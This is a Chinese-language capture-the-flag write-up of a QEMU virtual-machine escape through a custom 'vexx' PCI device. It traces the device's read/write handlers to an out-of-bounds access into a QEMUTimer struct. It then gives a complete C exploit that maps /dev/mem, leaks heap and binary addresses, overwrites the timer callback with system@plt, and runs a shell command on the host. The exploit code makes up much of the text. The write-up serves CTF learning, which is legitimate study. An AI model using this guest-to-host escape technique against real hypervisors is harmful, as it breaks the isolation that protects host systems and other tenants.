保护是全开的
首先来看启动文件
#!/bin/sh ./qemu-system-x86_64 -hda rootfs.ext2 -kernel bzImage -m 64M -append "console=ttyS0 root=/dev/sda oops=panic panic=1" -L ./pc-bios -netdev user,id=mynet0 -device rtl8139,netdev=mynet0 -nographic -device vexx -snapshot
设备的名字叫vexx
当然似乎还有个设备叫rtl8139
他是qemu-kvm中的网卡设备,不必多管
启动一下,用的是ubuntu20.04的环境
发现缺几个库
sudo apt-get install libncurses5 sudo apt-get install libncursesw5
两个命令搞定
用户名root
密码goodluck
函数就这么一堆
基类初始化没啥好看的
可以看到我们的两个id
可以找到对应设备的总线等信息。
重点先来看一下类对象初始化的realize
注册了两个mmio
最后两个成员也是两个结构体
重点还是来到两个read,两个write,还有cmb的一套对应mmio的read/write
我们一个一个分析
首先看mmio_read
然后是mmio_write
然后是pmio_write
然后是pmio_read
pmio rw没啥。可以对三个变量进行读写。
那就再看看cmb rw
vexx_cmb_read
vexx_cmb_write
漏洞很清晰了
所以我们现在就是讨论如何利用漏洞。
我们要重点介绍一个结构体
首先我们要知道我们越界的位置在
VexxState结构体中的req成员
req成员是一个VexxRequest结构体
这个成员下面还有一个成员,VxeeDma结构体类型的
这里面有个成员,dma_timer
他是一个QEMUTimer_0结构体
他又是QEMUTimer结构体的别称
我们要重点介绍的就是这个结构体
opaque指针指向VexxState的结构体的堆块,我们读它可以泄露堆地址
cb也是一个指针,指向我们的vexx_dma_timer函数,我们可以通过它泄露基地址。
然后呢在vexx_mmio_write里面有一条这样的调用链
timer_mod
timer_mod_ns
timerlist_notify
cb(opaque)
所以我们只要把cat flag这种字符串写在req_buf中,再拿到req_buf地址。
然后覆盖cb为system_plt,覆盖opaque为req_buf地址
就可以getshell。
首先先拿到mmio pmio的地址
这里可以拿到pmio的base地址
这样可以拿到mmio的地址跟大小。
具体哪个地址对应的是那个mmio
看这里
当然我们也可以通过/dev/mem文件,来访问
我们直接mmap/dev/mem到内存,然后对他访问来控制mmio。
raycp大佬这部分都写好了
我们直接用
exp用了raycp大佬的模板,而且主体部分也比较简单,没啥可写的,就抄来稍作解释。raycp大佬可太强了。
exp
#include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include<sys/io.h> uint32_t mmio_addr = 0xfebd6000; uint32_t mmio_size = 0x1000; uint32_t cmb_addr = 0xfebd0000; uint32_t cmb_size = 0x4000; unsigned char* mmio_mem; unsigned char* cmb_mem; uint32_t pmio_base=0x230; void die(const char* msg) { perror(msg); exit(-1); } void* mem_map( const char* dev, size_t offset, size_t size ) { int fd = open( dev, O_RDWR | O_SYNC ); if ( fd == -1 ) { return 0; } void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset ); if ( !result ) { return 0; } close( fd ); return result; } uint8_t mmio_read(uint32_t addr) { return *((uint8_t*) (mmio_mem+addr)); } void mmio_write(uint32_t addr, uint8_t value) { *( (uint32_t *) (mmio_mem+addr) ) = value; } uint8_t cmb_read(uint32_t addr) { return *((uint8_t*) (cmb_mem+addr)); } void cmb_write(uint32_t addr, uint8_t value) { *( (uint8_t *) (cmb_mem+addr) ) = value; } void pmio_write(uint32_t addr, uint32_t value) { outb(value,addr); } uint8_t pmio_read(uint32_t addr) { return (uint32_t)inb(addr); } void set_offset(uint32_t value) { pmio_write(pmio_base+0x10, value); } void set_memorymode(uint32_t value) { pmio_write(pmio_base+0x0, value); } uint8_t arbitrary_read(uint32_t offset) { set_offset(offset); return cmb_read(0x100); } void arbitrary_write(uint32_t offset, uint8_t value) { set_offset(offset); cmb_write(0x100, value); } void normal_write(uint32_t offset, uint8_t value) { set_offset(offset); cmb_write(0x0, value); } int main(int argc, char *argv[]) { //这一部分就是利用/dev/mem直接写,比利用那个resource文件好使。 system( "mknod -m 660 /dev/mem c 1 1" ); mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size ); if ( !mmio_mem ) { die("mmap mmio failed"); } cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size ); if ( !cmb_mem ) { die("mmap cmb mem failed"); } // 想利用pmio就要先把io等级拉上来 if (iopl(3) !=0 ) die("I/O permission is not enough"); //泄露地址 set_memorymode(1); uint64_t heap_addr=0,tmp; uint32_t i; for (i=0;i<8;i++) { tmp = arbitrary_read(0x40+i); heap_addr=heap_addr+(tmp<<(i*8)); } printf("leaking heap address: 0x%lx\n",heap_addr); uint64_t pro_addr=0; for (i=0;i<8;i++) { tmp = arbitrary_read(0x38+i); pro_addr=pro_addr+(tmp<<(i*8)); } printf("leaking pro address: 0x%lx\n",pro_addr); uint64_t pro_base= pro_addr-0x4DCF10; uint64_t system_plt=pro_base+0x2AB860; //三个任意写 char *para="ls&&cat ./flag"; for(i=0; i< strlen(para); i++) { normal_write(0x0+i,para[i]); } uint64_t para_addr=heap_addr+0xb90; for(i=0; i<8; i++) { arbitrary_write(0x38+i,((char*)&system_plt)[i]); } for(i=0; i<8; i++) { arbitrary_write(0x40+i, ((char*)¶_addr)[i]); } //最后触发 mmio_write(0x98,1); }